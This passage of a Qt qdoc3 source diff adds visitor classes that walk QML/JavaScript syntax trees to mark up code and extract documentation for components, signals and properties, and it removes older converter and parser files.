addVerbatim(expression->dotToken); + addMarkedUpToken(expression->identifierToken, QLatin1String("name")); + return false; +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::NewMemberExpression *expression) +{ + addVerbatim(expression->newToken); + QDeclarativeJS::AST::Node::accept(expression->base, this); + addVerbatim(expression->lparenToken); + QDeclarativeJS::AST::Node::accept(expression->arguments, this); + addVerbatim(expression->rparenToken); + return false; +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::NewExpression *expression) +{ + addVerbatim(expression->newToken); + return true; +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ArgumentList *list) +{ + addVerbatim(list->commaToken, list->commaToken); + return true; +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::PostIncrementExpression *expression) +{ + addVerbatim(expression->incrementToken); + return true; +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::PostDecrementExpression *expression) +{ + addVerbatim(expression->decrementToken); + return true; +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::DeleteExpression *expression) +{ + addVerbatim(expression->deleteToken); + return true; +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::VoidExpression *expression) +{ + addVerbatim(expression->voidToken); + return true; +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::TypeOfExpression *expression) +{ + addVerbatim(expression->typeofToken); + return true; +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::PreIncrementExpression *expression) +{ + addVerbatim(expression->incrementToken); + return true; +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::PreDecrementExpression *expression) +{ + addVerbatim(expression->decrementToken); + return true; +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UnaryPlusExpression *expression) +{ + addVerbatim(expression->plusToken); + return true; +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UnaryMinusExpression *expression) +{ + addVerbatim(expression->minusToken); + return true; +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::TildeExpression *expression) +{ + addVerbatim(expression->tildeToken); + return true; +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::NotExpression *expression) +{ + addVerbatim(expression->notToken); + return true; +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::BinaryExpression *expression) +{ + QDeclarativeJS::AST::Node::accept(expression->left, this); + addMarkedUpToken(expression->operatorToken, QLatin1String("op")); + QDeclarativeJS::AST::Node::accept(expression->right, this); + return false; +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ConditionalExpression *expression) +{ + QDeclarativeJS::AST::Node::accept(expression->expression, this); + addVerbatim(expression->questionToken); + QDeclarativeJS::AST::Node::accept(expression->ok, this); + addVerbatim(expression->colonToken); + QDeclarativeJS::AST::Node::accept(expression->ko, this); + return false; +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::Expression *expression) +{ + QDeclarativeJS::AST::Node::accept(expression->left, this); + addVerbatim(expression->commaToken); + QDeclarativeJS::AST::Node::accept(expression->right, this); + return false; +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::Block *block) +{ + addVerbatim(block->lbraceToken); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::Block *block) +{ + addVerbatim(block->rbraceToken); +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::VariableStatement *statement) +{ + addVerbatim(statement->declarationKindToken); + QDeclarativeJS::AST::Node::accept(statement->declarations, this); + addVerbatim(statement->semicolonToken); + return false; +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::VariableDeclarationList *list) +{ + for (QDeclarativeJS::AST::VariableDeclarationList *it = list; it; it = it->next) { + QDeclarativeJS::AST::Node::accept(it->declaration, this); + addVerbatim(it->commaToken); + } + return false; +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::VariableDeclaration *declaration) +{ + addMarkedUpToken(declaration->identifierToken, QLatin1String("name")); + QDeclarativeJS::AST::Node::accept(declaration->expression, this); + return false; +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::EmptyStatement *statement) +{ + addVerbatim(statement->semicolonToken); + return true; +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ExpressionStatement *statement) +{ + QDeclarativeJS::AST::Node::accept(statement->expression, this); + addVerbatim(statement->semicolonToken); + return false; +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::IfStatement *statement) +{ + addMarkedUpToken(statement->ifToken, QLatin1String("keyword")); + addVerbatim(statement->lparenToken); + QDeclarativeJS::AST::Node::accept(statement->expression, this); + addVerbatim(statement->rparenToken); + QDeclarativeJS::AST::Node::accept(statement->ok, this); + if (statement->ko) { + addMarkedUpToken(statement->elseToken, QLatin1String("keyword")); + QDeclarativeJS::AST::Node::accept(statement->ko, this); + } + return false; +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::DoWhileStatement *statement) +{ + addMarkedUpToken(statement->doToken, QLatin1String("keyword")); + QDeclarativeJS::AST::Node::accept(statement->statement, this); + addMarkedUpToken(statement->whileToken, QLatin1String("keyword")); + addVerbatim(statement->lparenToken); + QDeclarativeJS::AST::Node::accept(statement->expression, this); + addVerbatim(statement->rparenToken); + addVerbatim(statement->semicolonToken); + return false; +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::WhileStatement *statement) +{ + addMarkedUpToken(statement->whileToken, QLatin1String("keyword")); + addVerbatim(statement->lparenToken); + QDeclarativeJS::AST::Node::accept(statement->expression, this); + addVerbatim(statement->rparenToken); + QDeclarativeJS::AST::Node::accept(statement->statement, this); + return false; +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ForStatement *statement) +{ + addMarkedUpToken(statement->forToken, QLatin1String("keyword")); + addVerbatim(statement->lparenToken); + QDeclarativeJS::AST::Node::accept(statement->initialiser, this); + addVerbatim(statement->firstSemicolonToken); + QDeclarativeJS::AST::Node::accept(statement->condition, this); + addVerbatim(statement->secondSemicolonToken); + QDeclarativeJS::AST::Node::accept(statement->expression, this); + addVerbatim(statement->rparenToken); + QDeclarativeJS::AST::Node::accept(statement->statement, this); + return false; +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::LocalForStatement *statement) +{ + addMarkedUpToken(statement->forToken, QLatin1String("keyword")); + addVerbatim(statement->lparenToken); + addMarkedUpToken(statement->varToken, QLatin1String("keyword")); + QDeclarativeJS::AST::Node::accept(statement->declarations, this); + addVerbatim(statement->firstSemicolonToken); + QDeclarativeJS::AST::Node::accept(statement->condition, this); + addVerbatim(statement->secondSemicolonToken); + QDeclarativeJS::AST::Node::accept(statement->expression, this); + addVerbatim(statement->rparenToken); + QDeclarativeJS::AST::Node::accept(statement->statement, this); + return false; +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ForEachStatement *statement) +{ + addMarkedUpToken(statement->forToken, QLatin1String("keyword")); + addVerbatim(statement->lparenToken); + QDeclarativeJS::AST::Node::accept(statement->initialiser, this); + addVerbatim(statement->inToken); + QDeclarativeJS::AST::Node::accept(statement->expression, this); + addVerbatim(statement->rparenToken); + QDeclarativeJS::AST::Node::accept(statement->statement, this); + return false; +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::LocalForEachStatement *statement) +{ + addMarkedUpToken(statement->forToken, QLatin1String("keyword")); + addVerbatim(statement->lparenToken); + addMarkedUpToken(statement->varToken, QLatin1String("keyword")); + QDeclarativeJS::AST::Node::accept(statement->declaration, this); + addVerbatim(statement->inToken); + QDeclarativeJS::AST::Node::accept(statement->expression, this); + addVerbatim(statement->rparenToken); + QDeclarativeJS::AST::Node::accept(statement->statement, this); + return false; +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ContinueStatement *statement) +{ + addMarkedUpToken(statement->continueToken, QLatin1String("keyword")); + addMarkedUpToken(statement->identifierToken, QLatin1String("name")); + addVerbatim(statement->semicolonToken); + return false; +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::BreakStatement *statement) +{ + addMarkedUpToken(statement->breakToken, QLatin1String("keyword")); + addMarkedUpToken(statement->identifierToken, QLatin1String("name")); + addVerbatim(statement->semicolonToken); + return false; +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ReturnStatement *statement) +{ + addMarkedUpToken(statement->returnToken, QLatin1String("keyword")); + QDeclarativeJS::AST::Node::accept(statement->expression, this); + addVerbatim(statement->semicolonToken); + return false; +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::WithStatement *statement) +{ + addMarkedUpToken(statement->withToken, QLatin1String("keyword")); + addVerbatim(statement->lparenToken); + QDeclarativeJS::AST::Node::accept(statement->expression, this); + addVerbatim(statement->rparenToken); + QDeclarativeJS::AST::Node::accept(statement->statement, this); + return false; +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::CaseBlock *block) +{ + addVerbatim(block->lbraceToken); + return true; +} + +void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::CaseBlock *block) +{ + addVerbatim(block->rbraceToken, block->rbraceToken); +} + + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::SwitchStatement *statement) +{ + addMarkedUpToken(statement->switchToken, QLatin1String("keyword")); + addVerbatim(statement->lparenToken); + QDeclarativeJS::AST::Node::accept(statement->expression, this); + addVerbatim(statement->rparenToken); + QDeclarativeJS::AST::Node::accept(statement->block, this); + return false; +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::CaseClause *clause) +{ + addMarkedUpToken(clause->caseToken, QLatin1String("keyword")); + QDeclarativeJS::AST::Node::accept(clause->expression, this); + addVerbatim(clause->colonToken); + QDeclarativeJS::AST::Node::accept(clause->statements, this); + return false; +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::DefaultClause *clause) +{ + addMarkedUpToken(clause->defaultToken, QLatin1String("keyword")); + addVerbatim(clause->colonToken, clause->colonToken); + return true; +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::LabelledStatement *statement) +{ + addMarkedUpToken(statement->identifierToken, QLatin1String("name")); + addVerbatim(statement->colonToken); + QDeclarativeJS::AST::Node::accept(statement->statement, this); + return false; +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ThrowStatement *statement) +{ + addMarkedUpToken(statement->throwToken, QLatin1String("keyword")); + QDeclarativeJS::AST::Node::accept(statement->expression, this); + addVerbatim(statement->semicolonToken); + return false; +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::Catch *c) +{ + addMarkedUpToken(c->catchToken, QLatin1String("keyword")); + addVerbatim(c->lparenToken); + addMarkedUpToken(c->identifierToken, QLatin1String("name")); + addVerbatim(c->rparenToken); + return false; +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::Finally *f) +{ + addMarkedUpToken(f->finallyToken, QLatin1String("keyword")); + QDeclarativeJS::AST::Node::accept(f->statement, this); + return false; +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::TryStatement *statement) +{ + addMarkedUpToken(statement->tryToken, QLatin1String("keyword")); + QDeclarativeJS::AST::Node::accept(statement->statement, this); + QDeclarativeJS::AST::Node::accept(statement->catchExpression, this); + QDeclarativeJS::AST::Node::accept(statement->finallyExpression, this); + return false; +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::FunctionExpression *expression) +{ + addMarkedUpToken(expression->functionToken, QLatin1String("keyword")); + addMarkedUpToken(expression->identifierToken, QLatin1String("name")); + addVerbatim(expression->lparenToken); + QDeclarativeJS::AST::Node::accept(expression->formals, this); + addVerbatim(expression->rparenToken); + addVerbatim(expression->lbraceToken); + QDeclarativeJS::AST::Node::accept(expression->body, this); + addVerbatim(expression->rbraceToken); + return false; +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::FunctionDeclaration *declaration) +{ + addMarkedUpToken(declaration->functionToken, QLatin1String("keyword")); + addMarkedUpToken(declaration->identifierToken, QLatin1String("name")); + addVerbatim(declaration->lparenToken); + QDeclarativeJS::AST::Node::accept(declaration->formals, this); + addVerbatim(declaration->rparenToken); + addVerbatim(declaration->lbraceToken); + QDeclarativeJS::AST::Node::accept(declaration->body, this); + addVerbatim(declaration->rbraceToken); + return false; +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::FormalParameterList *list) +{ + addVerbatim(list->commaToken); + addMarkedUpToken(list->identifierToken, QLatin1String("name")); + return false; +} + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::DebuggerStatement *statement) +{ + addVerbatim(statement->debuggerToken); + addVerbatim(statement->semicolonToken); + return true; +} + +// Elements and items are represented by UiObjectDefinition nodes. + +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiObjectDefinition *definition) +{ + QHash<QString, QString> attributes; + addMarkedUpToken(definition->qualifiedTypeNameId->identifierToken, QLatin1String("type")); + QDeclarativeJS::AST::Node::accept(definition->initializer, this); + return false; +} + +QT_END_NAMESPACE diff --git a/tools/qdoc3/qmlmarkupvisitor.h b/tools/qdoc3/qmlmarkupvisitor.h new file mode 100644 index 0000000..709a858 --- /dev/null +++ b/tools/qdoc3/qmlmarkupvisitor.h @@ -0,0 +1,182 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the tools applications of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +#ifndef QMLVISITOR_H +#define QMLVISITOR_H + +#include <QString> +#include "private/qdeclarativejsastvisitor_p.h" +#include "node.h" +#include "tree.h" + +QT_BEGIN_NAMESPACE + +class QmlMarkupVisitor : public QDeclarativeJS::AST::Visitor +{ +public: + enum ExtraType{ + Comment, + Pragma + }; + + QmlMarkupVisitor(const QString &code, + const QList<QDeclarativeJS::AST::SourceLocation> &pragmas, + QDeclarativeJS::Engine *engine); + virtual ~QmlMarkupVisitor(); + + QString markedUpCode(); + + virtual bool visit(QDeclarativeJS::AST::UiImport *); + virtual void endVisit(QDeclarativeJS::AST::UiImport *); + + virtual bool visit(QDeclarativeJS::AST::UiPublicMember *); + virtual bool visit(QDeclarativeJS::AST::UiObjectDefinition *); + + virtual bool visit(QDeclarativeJS::AST::UiObjectInitializer *); + virtual void endVisit(QDeclarativeJS::AST::UiObjectInitializer *); + + virtual bool visit(QDeclarativeJS::AST::UiObjectBinding *); + virtual bool visit(QDeclarativeJS::AST::UiScriptBinding *); + virtual bool visit(QDeclarativeJS::AST::UiArrayBinding *); + virtual bool visit(QDeclarativeJS::AST::UiArrayMemberList *); + virtual bool visit(QDeclarativeJS::AST::UiQualifiedId *); + + virtual bool visit(QDeclarativeJS::AST::UiSignature *); + virtual void endVisit(QDeclarativeJS::AST::UiSignature *); + + virtual bool visit(QDeclarativeJS::AST::UiFormal *); + virtual bool visit(QDeclarativeJS::AST::ThisExpression *); + virtual bool visit(QDeclarativeJS::AST::IdentifierExpression *); + virtual bool visit(QDeclarativeJS::AST::NullExpression *); + virtual bool visit(QDeclarativeJS::AST::TrueLiteral *); + virtual bool visit(QDeclarativeJS::AST::FalseLiteral *); + virtual bool visit(QDeclarativeJS::AST::NumericLiteral *); + virtual bool visit(QDeclarativeJS::AST::StringLiteral *); + virtual bool visit(QDeclarativeJS::AST::RegExpLiteral *); + virtual bool visit(QDeclarativeJS::AST::ArrayLiteral *); + + virtual bool visit(QDeclarativeJS::AST::ObjectLiteral *); + virtual void endVisit(QDeclarativeJS::AST::ObjectLiteral *); + + virtual bool visit(QDeclarativeJS::AST::ElementList *); + virtual bool visit(QDeclarativeJS::AST::Elision *); + virtual bool visit(QDeclarativeJS::AST::PropertyNameAndValueList *); + virtual bool visit(QDeclarativeJS::AST::ArrayMemberExpression *); + virtual bool visit(QDeclarativeJS::AST::FieldMemberExpression *); + virtual bool visit(QDeclarativeJS::AST::NewMemberExpression *); + virtual bool visit(QDeclarativeJS::AST::NewExpression *); + virtual bool visit(QDeclarativeJS::AST::ArgumentList *); + virtual bool visit(QDeclarativeJS::AST::PostIncrementExpression *); + virtual bool visit(QDeclarativeJS::AST::PostDecrementExpression *); + virtual bool visit(QDeclarativeJS::AST::DeleteExpression *); + virtual bool visit(QDeclarativeJS::AST::VoidExpression *); + virtual bool visit(QDeclarativeJS::AST::TypeOfExpression *); + virtual bool visit(QDeclarativeJS::AST::PreIncrementExpression *); + virtual bool visit(QDeclarativeJS::AST::PreDecrementExpression *); + virtual bool visit(QDeclarativeJS::AST::UnaryPlusExpression *); + virtual bool visit(QDeclarativeJS::AST::UnaryMinusExpression *); + virtual bool visit(QDeclarativeJS::AST::TildeExpression *); + virtual bool visit(QDeclarativeJS::AST::NotExpression *); + virtual bool visit(QDeclarativeJS::AST::BinaryExpression *); + virtual bool visit(QDeclarativeJS::AST::ConditionalExpression *); + virtual bool visit(QDeclarativeJS::AST::Expression *); + + virtual bool visit(QDeclarativeJS::AST::Block *); + virtual void endVisit(QDeclarativeJS::AST::Block *); + + virtual bool visit(QDeclarativeJS::AST::VariableStatement *); + virtual bool visit(QDeclarativeJS::AST::VariableDeclarationList *); + virtual bool visit(QDeclarativeJS::AST::VariableDeclaration *); + virtual bool visit(QDeclarativeJS::AST::EmptyStatement *); + virtual bool visit(QDeclarativeJS::AST::ExpressionStatement *); + virtual bool visit(QDeclarativeJS::AST::IfStatement *); + virtual bool visit(QDeclarativeJS::AST::DoWhileStatement *); + virtual bool visit(QDeclarativeJS::AST::WhileStatement *); + virtual bool visit(QDeclarativeJS::AST::ForStatement *); + virtual bool visit(QDeclarativeJS::AST::LocalForStatement *); + virtual bool visit(QDeclarativeJS::AST::ForEachStatement *); + virtual bool visit(QDeclarativeJS::AST::LocalForEachStatement *); + virtual bool visit(QDeclarativeJS::AST::ContinueStatement *); + virtual bool visit(QDeclarativeJS::AST::BreakStatement *); + virtual bool visit(QDeclarativeJS::AST::ReturnStatement *); + virtual bool visit(QDeclarativeJS::AST::WithStatement *); + + virtual bool visit(QDeclarativeJS::AST::CaseBlock *); + virtual void endVisit(QDeclarativeJS::AST::CaseBlock *); + + virtual bool visit(QDeclarativeJS::AST::SwitchStatement *); + virtual bool visit(QDeclarativeJS::AST::CaseClause *); + virtual bool visit(QDeclarativeJS::AST::DefaultClause *); + virtual bool visit(QDeclarativeJS::AST::LabelledStatement *); + virtual bool visit(QDeclarativeJS::AST::ThrowStatement *); + virtual bool visit(QDeclarativeJS::AST::TryStatement *); + virtual bool visit(QDeclarativeJS::AST::Catch *); + virtual bool visit(QDeclarativeJS::AST::Finally *); + virtual bool visit(QDeclarativeJS::AST::FunctionDeclaration *); + virtual bool visit(QDeclarativeJS::AST::FunctionExpression *); + virtual bool visit(QDeclarativeJS::AST::FormalParameterList *); + virtual bool visit(QDeclarativeJS::AST::DebuggerStatement *); + +protected: + QString protect(const QString &string); + +private: + typedef QHash<QString, QString> StringHash; + void addExtra(quint32 start, quint32 finish); + void addMarkedUpToken(QDeclarativeJS::AST::SourceLocation &location, + const QString &text, + const StringHash &attributes = StringHash()); + void addVerbatim(QDeclarativeJS::AST::SourceLocation first, + QDeclarativeJS::AST::SourceLocation last = QDeclarativeJS::AST::SourceLocation()); + QString sourceText(QDeclarativeJS::AST::SourceLocation &location); + + QDeclarativeJS::Engine *engine; + QList<ExtraType> extraTypes; + QList<QDeclarativeJS::AST::SourceLocation> extraLocations; + QString source; + QString output; + quint32 cursor; + int extraIndex; +}; + +QT_END_NAMESPACE + +#endif diff --git a/tools/qdoc3/qmlvisitor.cpp b/tools/qdoc3/qmlvisitor.cpp new file mode 100644 index 0000000..9295624 --- /dev/null +++ b/tools/qdoc3/qmlvisitor.cpp @@ -0,0 +1,221 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the tools applications of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +#include <QFileInfo> +#include <QStringList> +#include <QtGlobal> +#include "private/qdeclarativejsast_p.h" +#include "private/qdeclarativejsastfwd_p.h" +#include "private/qdeclarativejsengine_p.h" + +#include "node.h" +#include "qmlvisitor.h" + +QT_BEGIN_NAMESPACE + +QmlDocVisitor::QmlDocVisitor(const QString &filePath, const QString &code, + QDeclarativeJS::Engine *engine, Tree *tree, QSet<QString> &commands) +{ + this->filePath = filePath; + this->name = QFileInfo(filePath).baseName(); + document = code; + this->engine = engine; + this->tree = tree; + this->commands = commands; + current = tree->root(); +} + +QmlDocVisitor::~QmlDocVisitor() +{ +} + +QDeclarativeJS::AST::SourceLocation QmlDocVisitor::precedingComment(unsigned offset) const +{ + QDeclarativeJS::AST::SourceLocation currentLoc; + + foreach (const QDeclarativeJS::AST::SourceLocation &loc, engine->comments()) { + if (loc.begin() > lastEndOffset && loc.end() < offset) + currentLoc = loc; + else + break; + } + if (currentLoc.isValid()) { + QString comment = document.mid(currentLoc.offset, currentLoc.length); + if (comment.startsWith("!") || comment.startsWith("*")) + return currentLoc; + } + + return QDeclarativeJS::AST::SourceLocation(); +} + +void QmlDocVisitor::applyDocumentation(QDeclarativeJS::AST::SourceLocation location, + Node *node) +{ + QDeclarativeJS::AST::SourceLocation loc = precedingComment(location.begin()); + + if (loc.isValid()) { + QString source = document.mid(loc.offset, loc.length); + if (source.startsWith(QLatin1String("!")) || + (source.startsWith(QLatin1String("*")) && + source[1] != QLatin1Char('*'))) { + + Location start(filePath); + start.setLineNo(loc.startLine); + start.setColumnNo(loc.startColumn); + Location finish(filePath); + finish.setLineNo(loc.startLine); + finish.setColumnNo(loc.startColumn); + + Doc doc(start, finish, source.mid(1), commands); + node->setDoc(doc); + } + } +} + +/*! + Visits element definitions, recording them in a tree structure. +*/ +bool QmlDocVisitor::visit(QDeclarativeJS::AST::UiObjectDefinition *definition) +{ + QString type = definition->qualifiedTypeNameId->name->asString(); + + if (current->type() == Node::Namespace) { + QmlClassNode *component = new QmlClassNode(current, name, 0); + component->setTitle(QLatin1String("QML ") + name + QLatin1String(" Component")); + + QmlClassNode::addInheritedBy(type, component); + component->setLink(Node::InheritsLink, type, type); + + applyDocumentation(definition->firstSourceLocation(), component); + + current = component; + } + + return true; +} + +void QmlDocVisitor::endVisit(QDeclarativeJS::AST::UiObjectDefinition *definition) +{ + lastEndOffset = definition->lastSourceLocation().end(); +} + +bool QmlDocVisitor::visit(QDeclarativeJS::AST::UiImportList *imports) +{ + // Note that the imports list can be traversed by iteration to obtain + // all the imports in the document at once, having found just one: + // *it = imports; it; it = it->next + + QString module = document.mid(imports->import->fileNameToken.offset, + imports->import->fileNameToken.length); + QString version = document.mid(imports->import->versionToken.offset, + imports->import->versionToken.length); + importList.append(QPair<QString, QString>(module, version)); + + return true; +} + +/*! + Visits public member declarations, such as signals and properties. + These only include custom signals and properties. +*/ +bool QmlDocVisitor::visit(QDeclarativeJS::AST::UiPublicMember *member) +{ + switch (member->type) { + case QDeclarativeJS::AST::UiPublicMember::Signal: + { + if (current->type() == Node::Fake) { + QmlClassNode *qmlClass = static_cast<QmlClassNode *>(current); + if (qmlClass) { + + QString name = member->name->asString(); + FunctionNode *qmlSignal = new FunctionNode(Node::QmlSignal, current, name, false); + + QList<Parameter> parameters; + for (QDeclarativeJS::AST::UiParameterList *it = member->parameters; it; it = it->next) { + if (it->type && it->name) + parameters.append(Parameter(it->type->asString(), "", it->name->asString())); + } + + qmlSignal->setParameters(parameters); + applyDocumentation(member->firstSourceLocation(), qmlSignal); + } + } + break; + } + case QDeclarativeJS::AST::UiPublicMember::Property: + { + QString type = member->memberType->asString(); + QString name = member->name->asString(); + + if (current->type() == Node::Fake) { + QmlClassNode *qmlClass = static_cast<QmlClassNode *>(current); + if (qmlClass) { + + QString name = member->name->asString(); + QmlPropGroupNode *qmlPropGroup = new QmlPropGroupNode(qmlClass, name, false); + if (member->isDefaultMember) + qmlPropGroup->setDefault(); + QmlPropertyNode *qmlPropNode = new QmlPropertyNode(qmlPropGroup, name, type, false); + qmlPropNode->setWritable(!member->isReadonlyMember); + applyDocumentation(member->firstSourceLocation(), qmlPropNode); + } + } + break; + } + default: + return false; + } + + //current->doc = precedingComment(member->firstSourceLocation().begin()); + return true; +} + +void QmlDocVisitor::endVisit(QDeclarativeJS::AST::UiPublicMember *definition) +{ + lastEndOffset = definition->lastSourceLocation().end(); +} + +bool QmlDocVisitor::visit(QDeclarativeJS::AST::IdentifierPropertyName *idproperty) +{ + return true; +} + +QT_END_NAMESPACE diff --git a/tools/qdoc3/cpptoqsconverter.h b/tools/qdoc3/qmlvisitor.h index a60d6a5..9da2c72 100644 --- a/tools/qdoc3/cpptoqsconverter.h +++ b/tools/qdoc3/qmlvisitor.h @@ -39,48 +39,46 @@ ** ****************************************************************************/ -/* - cpptoqsconverter.h -*/ - -#ifndef CPPTOQSCONVERTER_H -#define CPPTOQSCONVERTER_H - -#include <qregexp.h> +#ifndef QMLVISITOR_H +#define QMLVISITOR_H +#include <QString> +#include "private/qdeclarativejsastvisitor_p.h" +#include "node.h" #include "tree.h" QT_BEGIN_NAMESPACE -class CppToQsConverter +class QmlDocVisitor : public QDeclarativeJS::AST::Visitor { public: - CppToQsConverter() { } + QmlDocVisitor(const QString &filePath, const QString &code, + QDeclarativeJS::Engine *engine, Tree *tree, QSet<QString> &commands); + virtual ~QmlDocVisitor(); + + bool visit(QDeclarativeJS::AST::UiImportList *imports); + + bool visit(QDeclarativeJS::AST::UiObjectDefinition *definition); + void endVisit(QDeclarativeJS::AST::UiObjectDefinition *definition); - ClassNode *findClassNode( Tree *qsTree, const QString& qtName ); - QString convertedDataType( Tree *qsTree, const QString& leftType, - const QString& rightType = "" ); - QString convertedCode( Tree *qsTree, const QString& code, - const QSet<QString>& classesWithNoQ ); + bool visit(QDeclarativeJS::AST::UiPublicMember *member); + void endVisit(QDeclarativeJS::AST::UiPublicMember *definition); - static void initialize( const Config& config ); - static void terminate(); + bool visit(QDeclarativeJS::AST::IdentifierPropertyName *idproperty); private: - void clearState(); - QString convertCodeLine( Tree *qsTree, const QStringList& program, - const QString& code, - const QSet<QString>& classesWithNoQ ); - QString convertComment( Tree *qsTree, const QString& comment, - const QSet<QString>& classesWithNoQ ); - QString convertExpr( Tree *qsTree, const QString& expr, - const QSet<QString>& classesWithNoQ ); - void updateDelimDepths( const QString& code ); + QDeclarativeJS::AST::SourceLocation precedingComment(unsigned offset) const; + void applyDocumentation(QDeclarativeJS::AST::SourceLocation location, Node *node); - static QRegExp qClassRegExp; - static QRegExp addressOperatorRegExp; - static QRegExp gulbrandsenRegExp; - static int tabSize; + QDeclarativeJS::Engine *engine; + quint32 lastEndOffset; + QString filePath; + QString name; + QString document; + QList<QPair<QString, QString> > importList; + QSet<QString> commands; + Tree *tree; + InnerNode *current; }; QT_END_NAMESPACE diff --git a/tools/qdoc3/qsakernelparser.cpp b/tools/qdoc3/qsakernelparser.cpp deleted file mode 100644 index c7f9e6f..0000000 --- a/tools/qdoc3/qsakernelparser.cpp +++ /dev/null @@ -1,186 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** 